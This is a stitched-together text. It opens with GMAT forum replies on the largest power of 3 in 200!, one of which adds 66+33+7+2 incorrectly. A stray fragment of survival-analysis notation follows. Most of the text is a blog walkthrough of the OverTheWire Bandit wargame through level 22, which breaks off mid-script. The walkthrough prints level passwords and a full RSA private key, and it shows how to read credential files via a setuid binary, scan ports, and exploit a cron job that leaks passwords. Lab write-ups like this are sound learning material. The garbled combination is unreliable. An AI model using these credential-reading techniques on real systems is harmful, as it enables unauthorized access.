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Re: What is the largest power of 3 contained in 200! [#permalink]
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24 Jul 2013, 14:20
How did you know to stop at 200/3^4 and what is the theory behind this. I have been trying all of the questions you have on the put on here, but I guess i do not understand the theory behind this. Could you elaborate?
Thanks,
AK
Link to theory was provided above: Check this: everything-about-factorials-on-the-gmat-85592.html
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Re: What is the largest power of 3 contained in 200! [#permalink]
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09 Dec 2015, 12:05
1
Hi All,
These types of questions don't require a complex math approach - they can be solved with a bit of 'brute force' and logic.
In real basic terms, we're asked to find all of the '3s' in 200!
We can figure out that 200/3 = 66, so we know that there are at least 66 '3s' in 200! While that answer is among the 5 choices, it seems a bit too 'easy', so let's do a bit more work and list out the first few numbers that we know have a '3' in them:
3 = 3x1
6 = 3x2
9 = 3x3
Notice how both 3 and 6 have just one 3 in them, but 9 has TWO 3s (there's an 'extra' 3 that we have to account for). This implies that there are probably other numbers that include 'extra 3s' that we have to figure out:
To find those extra 3s, we have to look at numbers that contain 'powers of 3'...
3^2 = 9
3^3 = 27
3^4 = 81
3^5 = 243, but that's too big (we're only going up to 200). Keep in mind that a multiple of 81 is also a multiple of 9 and 27, so we don't want to count any of those values more than once.
200/9 = 22, so we know that there are at least 22 extra 3s (and certainly more because of the 27 and 81). With the 66 3s that we already have, those 22 extra 3s increase the total to 88. With the other extra 3s, we'll end up with MORE than 88 3s. There's only one answer that fits that logic...
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Re: What is the largest power of 3 contained in 200! [#permalink]
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26 Dec 2016, 09:57
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vyassaptarashi wrote:
What is the largest power of 3 contained in 200!
A. 88
B. 48
C. 66
D. 97
E. 39
If you think this question is really a challenge for you and you appreciate this kind of question then consider giving me some KUDOS......
Higest Power of 3 in 200!
=> 200/3 = 66
=> 66/3 = 22
=> 22/3 = 7
=> 7/3 = 2
So, The highest power of 3 is (D) 97
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Re: What is the largest power of 3 contained in 200! [#permalink]
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28 Feb 2017, 11:50
the power of 3 in 200! is
200/3 + 200/3^2 +200/3^3+200/3^4
66+33+7+2
97.
so answer is D.
remember we always take the quotient in expression (200/3 and others) .
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Re: What is the largest power of 3 contained in 200! [#permalink] 16 Apr 2019, 04:44
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# What is the largest power of 3 contained in 200!
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## 5.2 Notation
Suppose that an individual may experience $$K$$ consecutive events at times $$T_1<T_2<\cdot\cdot\cdot<T_K=T$$, which are measured from the start of the follow-up.
Here different methods are proposed to estimate conditional survival probabilities such as $$P(T_2 > y \mid T_1 > x)$$ or $$P(T_2 > y \mid T_1 \leq x)$$, where $$T_1$$ and $$T_2$$ are ordered event times of two successive events.
The proposed methods are all based on the Kaplan-Meier estimator and the ideas behind the proposed estimators can also be used to estimate more general functions involving more than two successive event times. However, for ease of presentation and without loss of generality, we take $$K=2$$ in this section. The extension to $$K>2$$ is straightforward.
Let $$(T_{1},T_{2})$$ be a pair of successive event times corresponding to two ordered (possibly consecutive) events measured from the start of the follow-up.
Let $$T=T_{2}$$ denote the total time and assume that both $$T_1$$ and $$T$$ are observed subject to a (univariate) random right-censoring variable $$C$$ assumed to be independent of $$(T_1,T)$$. Due to censoring, rather than $$(T_1,T)$$ we observe $$(\widetilde T_{1},\Delta_1,\widetilde T,\Delta_2)$$ where $$\widetilde T_{1}=\min (T_{1},C)$$, $$\Delta_{1}=I(T_{1}\leq C)$$, $$\widetilde T=\min (T,C)$$, $$\Delta_{2}=I(T\leq C)$$, where $$I(\cdot)$$ is the indicator function. Let $$(\widetilde T_{1i},\Delta_{1i},\widetilde T_i,\Delta_{2i})$$, $$1\leq i\leq n$$ be independent and identically distributed data with the same distribution as $$(\widetilde T_{1},\Delta_1,\widetilde T,\Delta_2)$$.
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2020-02-27 20:20:10
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http://thoughts.magnussen.tf/2017/01/11/OverTheWire-Bandit/
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# OverTheWire - Bandit Writeup
Posted by Nikolai Magnussen on January 11, 2017
## Bandit Wargame
OverTheWire offer a multitude of wargames. Wargames are a series of security related challenges that vary in difficulty.
This blog post will cover the game that is recommended to play first, namely Bandit. I would highly recommend all that feel inclined to try this game. It is a very gentle introduction that try to expect no previous knowledge, meaning that people familiar with *NIX and using the terminal will not be challenged to the same degree in the early levels. But bear with me, because there sure will be some challenges at the later levels! Regardless of your current level of expertise, I would recommend you complete it, but it is by no means necessary.
## Level 0
The goal of this level is for you to log into the game using SSH. The host to which you need to connect is bandit.labs.overthewire.org. The username is bandit0 and the password is bandit0. Once logged in, go to the Level 1 page to find out how to beat Level 1.
❯ ssh bandit0@bandit.labs.overthewire.org
and entering the password bandit0.
## Level 0 ➡ Level 1
The password for the next level is stored in a file called readme located in the home directory. Use this password to log into bandit1 using SSH. Whenever you find a password for a level, use SSH to log into that level and continue the game.
When logged in, we can find and read the file where the password is stored.
bandit0@melinda:~$ls readme bandit0@melinda:~$ cat readme
boJ9jbbUNNfktd78OOpsqOltutMc3MY1
This mean that the password to the next level is boJ9jbbUNNfktd78OOpsqOltutMc3MY1, and we can connect to the next level by:
❯ ssh bandit1@bandit.labs.overthewire.org
and entering the password boJ9jbbUNNfktd78OOpsqOltutMc3MY1.
## Level 1 ➡ Level 2
The password for the next level is stored in a file called - located in the home directory
We can find and read the file where the next password is stored, but different from the previous level; we have to escape the file name by providing the path to it so the shell does not interpret it as the start of a switch, or to read from stdin.
bandit1@melinda:~$ls - bandit1@melinda:~$ cat ./-
CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9
Now, we can easily see that the password to the next level is CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9 and we connect to it the same way as with the previous, but as the user bandit2.
## Level 2 ➡ Level 3
The password for the next level is stored in a file called spaces in this filename located in the home directory
Again, we want to find and read the file where the password is stored. In the same spirit as the previous level, we have to escape the spaces in the file name so the spaces are considered a part of the file name, and not a new file. Which can be achieved by prepending spaces with a \.
bandit2@melinda:~$ls spaces in this filename bandit2@melinda:~$ cat spaces\ in\ this\ filename
The password for level 3 is UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK.
## Level 3 ➡ Level 4
The password for the next level is stored in a hidden file in the inhere directory.
First, we find and enter the directory:
bandit3@melinda:~$ls inhere bandit3@melinda:~$ cd inhere
And then we try to find the file, but ls does not display hidden files, but adding a few switches display them. Then we can read the file and the password:
bandit3@melinda:~/inhere$ls bandit3@melinda:~/inhere$ ls -lah
total 12K
drwxr-xr-x 2 root root 4.0K Nov 14 2014 .
drwxr-xr-x 3 root root 4.0K Nov 14 2014 ..
-rw-r----- 1 bandit4 bandit3 33 Nov 14 2014 .hidden
bandit3@melinda:~/inhere$cat .hidden pIwrPrtPN36QITSp3EQaw936yaFoFgAB The password for level 4 is pIwrPrtPN36QITSp3EQaw936yaFoFgAB. ## Level 4 ➡ Level 5 The password for the next level is stored in the only human-readable file in the inhere directory. Tip: if your terminal is messed up, try the “reset” command. This mean that all files but the one with the password only contain data, and we can find out which by using the file utility: bandit4@melinda:~$ file inhere/*
inhere/-file00: data
inhere/-file01: data
inhere/-file02: data
inhere/-file03: data
inhere/-file04: data
inhere/-file05: data
inhere/-file06: data
inhere/-file07: ASCII text
inhere/-file08: data
inhere/-file09: data
Now, we can easily see that -file07 is the correct one, so let’s read it:
bandit4@melinda:~$cat inhere/-file07 koReBOKuIDDepwhWk7jZC0RTdopnAYKh Yielding the password for the next level: koReBOKuIDDepwhWk7jZC0RTdopnAYKh. ## Level 5 ➡ Level 6 The password for the next level is stored in a file somewhere under the inhere directory and has all of the following properties: - human-readable - 1033 bytes in size - not executable Most likely, there are few files that are 1033 bytes large, which is something find can search for: bandit5@melinda:~$ find inhere -size 1033c
inhere/maybehere07/.file2
And now we only have to read it:
bandit5@melinda:~$cat inhere/maybehere07/.file2 DXjZPULLxYr17uwoI01bNLQbtFemEgo7 Giving the password for the next level: DXjZPULLxYr17uwoI01bNLQbtFemEgo7. ## Level 6 ➡ Level 7 The password for the next level is stored somewhere on the server and has all of the following properties: - owned by user bandit7 - owned by group bandit6 - 33 bytes in size This can be done in the same manner as the previous level, because find can search for more than just size, and because we will get many errors because of permissions, we redirect the errors to /dev/null: bandit6@melinda:~$ find / -user bandit7 -group bandit6 -size 33c 2> /dev/null
Again, what is left is for us to read it:
bandit6@melinda:~$cat /var/lib/dpkg/info/bandit7.password HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs And the password for level 7 is HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs. ## Level 7 ➡ Level 8 The password for the next level is stored in the file data.txt next to the word millionth This mean that we should be searching for the word millionth, which is something grep handles effortlessly: bandit7@melinda:~$ grep millionth data.txt
millionth cvX2JJa4CFALtqS87jk27qwqGhBM9plV
Meaning cvX2JJa4CFALtqS87jk27qwqGhBM9plV is the password for level 8.
## Level 8 ➡ Level 9
The password for the next level is stored in the file data.txt and is the only line of text that occurs only once
First, we want to sort the lines, such that we can determine which lines are uniq and only print the unique ones:
bandit8@melinda:~$sort data.txt | uniq -u UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR Yielding the password UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR for level 9. ## Level 9 ➡ Level 10 The password for the next level is stored in the file data.txt in one of the few human-readable strings, beginning with several ‘=’ characters. The password have to be human-readable, meaning that we can extract the strings, and only have the ones that start with =: bandit9@melinda:~$ strings data.txt | grep ^=
========== ism
========== truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk
By assuming the same pattern as the previous passwords, the password for level 10 is truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk.
## Level 10 ➡ Level 11
The password for the next level is stored in the file data.txt, which contains base64 encoded data
Because the file is base64 encoded, we simply have to decode it:
bandit10@melinda:~$base64 -d data.txt The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR And the password for level 11 is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR. ## Level 11 ➡ Level 12 The password for the next level is stored in the file data.txt, where all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions This can be decrypted by simply translating the letters from a-z to n-z and a-m both for upper and lower case, which can be accomplished using tr: bandit11@melinda:~$ tr 'a-zA-Z' 'n-za-mN-ZA-M' < data.txt
And we can easily see that the password for level 12 is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu.
## Level 12 ➡ Level 13
The password for the next level is stored in the file data.txt, which is a hexdump of a file that has been repeatedly compressed. For this level it may be useful to create a directory under /tmp in which you can work using mkdir. For example: mkdir /tmp/myname123. Then copy the datafile using cp, and rename it using mv (read the manpages!)
First, we need to convert the file from hexdump format back to the original file, which can be done by xxd. Then, we need to unpack the file by repeatedly unpacking and decompressing, and which method can be found by using the file utility. But here is the complete extraction sequence:
bandit12@melinda:~$xxd -r data.txt | gunzip | bunzip2 | gunzip | tar xO | tar xO | bunzip2 | tar xO | gunzip The password is 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL Meaning that the password for level 13 is 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL. ## Level 13 ➡ Level 14 The password for the next level is stored in /etc/bandit_pass/bandit14 and can only be read by user bandit14. For this level, you don’t get the next password, but you get a private SSH key that can be used to log into the next level. Note: localhost is a hostname that refers to the machine you are working on Now, we simply need to connect to ourself as the bandit14 user authenticating using the private SSH key: bandit13@melinda:~$ ls
sshkey.private
bandit13@melinda:~$ssh -i sshkey.private bandit14@localhost Could not create directory '/home/bandit13/.ssh'. The authenticity of host 'localhost (127.0.0.1)' can't be established. ECDSA key fingerprint is 05:3a:1c:25:35:0a:ed:2f:cd:87:1c:f6:fe:69:e4:f6. --- LINES OMITTED --- bandit14@melinda:~$
Now that we are logged in as bandit14, we need to read the password:
bandit14@melinda:~$cat /etc/bandit_pass/bandit14 4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e Yielding the password 4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e for level 14. ## Level 14 ➡ Level 15 The password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost. To submit the password to localhost:30000, we use netcat, or nc for short: bandit14@melinda:~$ nc localhost 30000
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
Correct!
BfMYroe26WYalil77FoDi9qh59eK5xNr
And the password for the next level is BfMYroe26WYalil77FoDi9qh59eK5xNr.
## Level 15 ➡ Level 16
The password for the next level can be retrieved by submitting the password of the current level to port 30001 on localhost using SSL encryption.
Because this is using encryption, netcat is not the correct tool for the job, but rather openssl and it’s s_client but make sure to ignore end of file:
bandit15@melinda:~$openssl s_client -connect localhost:30001 -ign_eof CONNECTED(00000003) depth=0 CN = li190-250.members.linode.com verify error:num=18:self signed certificate --- LINES OMITTED --- Start Time: 1484143032 Timeout : 300 (sec) Verify return code: 18 (self signed certificate) --- BfMYroe26WYalil77FoDi9qh59eK5xNr Correct! cluFn7wTiGryunymYOu4RcffSxQluehd read:errno=0 And we can easily determine that the next password is cluFn7wTiGryunymYOu4RcffSxQluehd. ## Level 16 ➡ Level 17 The credentials for the next level can be retrieved by submitting the password of the current level to a port on localhost in the range 31000 to 32000. First find out which of these ports have a server listening on them. Then find out which of those speak SSL and which don’t. There is only 1 server that will give the next credentials, the others will simply send back to you whatever you send to it. First, we have to scan the specified ports: bandit16@melinda:~$ nmap localhost -p 31000-32000
Starting Nmap 6.40 ( http://nmap.org ) at 2017-01-11 14:08 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00051s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
31046/tcp open unknown
31518/tcp open unknown
31691/tcp open unknown
31790/tcp open unknown
31960/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds
Then, we have to find out which port will provide the next credentials:
bandit16@melinda:~$nc localhost 31046 test test bandit16@melinda:~$ nc localhost 31518
test
ERROR
140737354049184:error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number:s3_pkt.c:351:
bandit16@melinda:~$nc localhost 31691 test test bandit16@melinda:~$ nc localhost 31790
test
ERROR
140737354049184:error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number:s3_pkt.c:351:
bandit16@melinda:~$nc localhost 31960 test test Of all the servers, two are only accessible over SSL and the rest are echo servers, returning whatever they receive. So let’s try to access the two SSL-speaking servers: bandit16@melinda:~$ openssl s_client -connect localhost:31518
CONNECTED(00000003)
depth=0 CN = li190-250.members.linode.com
verify error:num=18:self signed certificate
--- LINES OMITTED ---
Start Time: 1484144012
Timeout : 300 (sec)
Verify return code: 18 (self signed certificate)
---
test
test
bandit16@melinda:~$openssl s_client -connect localhost:31790 CONNECTED(00000003) depth=0 CN = li190-250.members.linode.com verify error:num=18:self signed certificate --- LINES OMITTED --- Start Time: 1484144175 Timeout : 300 (sec) Verify return code: 18 (self signed certificate) --- cluFn7wTiGryunymYOu4RcffSxQluehd Correct! -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama +TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT 8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM 77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3 vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY= -----END RSA PRIVATE KEY----- It seems the server running at port 31790 is the correct one, but contrary to other levels, we are rewarded a private key, which we probably can use to SSH into the server as bandit17. So first, we have to copy and save the private key. Then we must change permissions such that only we, the owner can read it before using it to connect: bandit16@melinda:~$ cat > /tmp/key_kake
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----
bandit16@melinda:~$chmod 400 /tmp/key_kake bandit16@melinda:~$ ssh -i /tmp/key_kake bandit17@localhost
Could not create directory '/home/bandit16/.ssh'.
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is 05:3a:1c:25:35:0a:ed:2f:cd:87:1c:f6:fe:69:e4:f6.
--- LINES OMITTED ---
bandit17@melinda:~$ Being authenticated as bandit17, we can read the password file: bandit17@melinda:~$ cat /etc/bandit_pass/bandit17
xLYVMN9WE5zQ5vHacb0sZEVqbrp7nBTn
And the password for level 17 is xLYVMN9WE5zQ5vHacb0sZEVqbrp7nBTn.
## Level 17 ➡ Level 18
To find differences between two files, diff can be used, and it will output what was changed as well as what is was changed to:
bandit17@melinda:~$diff passwords.old passwords.new 42c42 < BS8bqB1kqkinKJjuxL6k072Qq9NRwQpR --- > kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd Which mean that BS8bqB1kqkinKJjuxL6k072Qq9NRwQpR was the original in passwords.old, and kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd is the new password from passwords.new. And thus, kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd is the password for level 18. ## Level 18 ➡ Level 19 The password for the next level is stored in a file readme in the home directory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH. If we try to connect regularly, we automatically get logged off, meaning that we can’t get an interactive session, as we would normally get. But as part of the SSH logon, we can also supply a command that will be executed regardless: ❯ ssh bandit18@bandit.labs.overthewire.org cat readme This is the OverTheWire game server. More information on http://www.overthewire.org/wargames Please note that wargame usernames are no longer level<X>, but wargamename<X> e.g. vortex4, semtex2, ... Note: at this moment, blacksun is not available. bandit18@bandit.labs.overthewire.org's password: IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x So upon writing the password, we get the password for level 19 back; namely IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x. ## Level 19 ➡ Level 20 To gain access to the next level, you should use the setuid binary in the home directory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (/etc/bandit_pass), after you have used the setuid binary. Let’s take a look at the setuid binary in our home directory: bandit19@melinda:~$ ls -lah
total 28K
drwxr-xr-x 2 root root 4.0K Nov 14 2014 .
drwxr-xr-x 172 root root 4.0K Jul 10 2016 ..
-rw-r--r-- 1 root root 220 Apr 9 2014 .bash_logout
-rw-r--r-- 1 root root 3.6K Apr 9 2014 .bashrc
-rw-r--r-- 1 root root 675 Apr 9 2014 .profile
-rwsr-x--- 1 bandit20 bandit19 7.2K Nov 14 2014 bandit20-do
The s in the permissions for bandit20-do mean that it will be executed as the owner, namely bandit20:
bandit19@melinda:~$./bandit20-do Run a command as another user. Example: ./bandit20-do id bandit19@melinda:~$ ./bandit20-do whoami
bandit20
Which mean that we can use this to read the password from the regular location:
bandit19@melinda:~$./bandit20-do cat /etc/bandit_pass/bandit20 GbKksEFF4yrVs6il55v6gwY5aVje5f0j And the password for level 20 is GbKksEFF4yrVs6il55v6gwY5aVje5f0j. ## Level 20 ➡ Level 21 There is a setuid binary in the home directory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21). Here, we have a binary that will send the next password, given the current one. There is only one catch, we have to connect to it. This mean that must have two sessions; one that listens for the connection, and one that runs the binary. First, we listen on a particular port using netcat: bandit20@melinda:~$ nc -l localhost 13337
And in the second session, we run the binary and point it to the same port:
bandit20@melinda:~$./suconnect 13337 Then, from the nc connection, we can send the current password: bandit20@melinda:~$ nc -l localhost 13337
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr
Meaning that gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr is the password for level 21.
## Level 21 ➡ Level 22
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
First, we look at the files in /etc/cron.d/:
bandit21@melinda:~$ls -la /etc/cron.d total 104 drwxr-xr-x 2 root root 4096 Oct 5 09:14 . drwxr-xr-x 108 root root 4096 Jan 11 10:17 .. -rw-r--r-- 1 root root 102 Feb 9 2013 .placeholder -r--r----- 1 root root 46 Nov 14 2014 behemoth4_cleanup -rw-r--r-- 1 root root 355 May 25 2013 cron-apt -rw-r--r-- 1 root root 61 Nov 14 2014 cronjob_bandit22 -rw-r--r-- 1 root root 62 Nov 14 2014 cronjob_bandit23 -rw-r--r-- 1 root root 61 May 3 2015 cronjob_bandit24 -rw-r--r-- 1 root root 62 May 3 2015 cronjob_bandit24_root -r--r----- 1 root root 47 Nov 14 2014 leviathan5_cleanup -rw------- 1 root root 233 Nov 14 2014 manpage3_resetpw_job -rw-r--r-- 1 root root 51 Nov 14 2014 melinda-stats -rw-r--r-- 1 root root 54 Jun 25 2016 natas-session-toucher -rw-r--r-- 1 root root 49 Jun 25 2016 natas-stats -r--r----- 1 root root 44 Jun 25 2016 natas25_cleanup -r--r----- 1 root root 47 Aug 3 2015 natas25_cleanup~ -r--r----- 1 root root 47 Jun 25 2016 natas26_cleanup -r--r----- 1 root root 43 Jun 25 2016 natas27_cleanup -rw-r--r-- 1 root root 510 Oct 29 2014 php5 -rw-r--r-- 1 root root 63 Jul 8 2015 semtex0-32 -rw-r--r-- 1 root root 63 Jul 8 2015 semtex0-64 -rw-r--r-- 1 root root 64 Jul 8 2015 semtex0-ppc -rw-r--r-- 1 root root 35 Nov 14 2014 semtex5 -rw-r--r-- 1 root root 396 Nov 10 2013 sysstat -rw-r--r-- 1 root root 29 Nov 14 2014 vortex0 -rw-r--r-- 1 root root 30 Nov 14 2014 vortex20 Most likely, cronjob_bandit22 is the correct one and it is readable, so let’s see what it does: bandit21@melinda:~$ cat /etc/cron.d/cronjob_bandit22
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
bandit21@melinda:~$cat /usr/bin/cronjob_bandit22.sh #!/bin/bash chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv Meaning that every time it is run, the file /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv is made readable by all users and the password of bandit22 is written to the file. Which in turn can be read by us: bandit21@melinda:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
Meaning that the password for level 22 is Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI.
## Level 22 ➡ Level 23
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
First, let’s try to find the script being executed:
bandit22@melinda:~$ls -la /etc/cron.d/ total 104 drwxr-xr-x 2 root root 4096 Oct 5 09:14 . drwxr-xr-x 108 root root 4096 Jan 11 10:17 .. -rw-r--r-- 1 root root 102 Feb 9 2013 .placeholder -r--r----- 1 root root 46 Nov 14 2014 behemoth4_cleanup -rw-r--r-- 1 root root 355 May 25 2013 cron-apt -rw-r--r-- 1 root root 61 Nov 14 2014 cronjob_bandit22 -rw-r--r-- 1 root root 62 Nov 14 2014 cronjob_bandit23 -rw-r--r-- 1 root root 61 May 3 2015 cronjob_bandit24 -rw-r--r-- 1 root root 62 May 3 2015 cronjob_bandit24_root -r--r----- 1 root root 47 Nov 14 2014 leviathan5_cleanup -rw------- 1 root root 233 Nov 14 2014 manpage3_resetpw_job -rw-r--r-- 1 root root 51 Nov 14 2014 melinda-stats -rw-r--r-- 1 root root 54 Jun 25 2016 natas-session-toucher -rw-r--r-- 1 root root 49 Jun 25 2016 natas-stats -r--r----- 1 root root 44 Jun 25 2016 natas25_cleanup -r--r----- 1 root root 47 Aug 3 2015 natas25_cleanup~ -r--r----- 1 root root 47 Jun 25 2016 natas26_cleanup -r--r----- 1 root root 43 Jun 25 2016 natas27_cleanup -rw-r--r-- 1 root root 510 Oct 29 2014 php5 -rw-r--r-- 1 root root 63 Jul 8 2015 semtex0-32 -rw-r--r-- 1 root root 63 Jul 8 2015 semtex0-64 -rw-r--r-- 1 root root 64 Jul 8 2015 semtex0-ppc -rw-r--r-- 1 root root 35 Nov 14 2014 semtex5 -rw-r--r-- 1 root root 396 Nov 10 2013 sysstat -rw-r--r-- 1 root root 29 Nov 14 2014 vortex0 -rw-r--r-- 1 root root 30 Nov 14 2014 vortex20 bandit22@melinda:~$ cat /etc/cron.d/cronjob_bandit23
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
And the contents of that script:
bandit22@melinda:~$cat /usr/bin/cronjob_bandit23.sh #!/bin/bash myname=$(whoami)
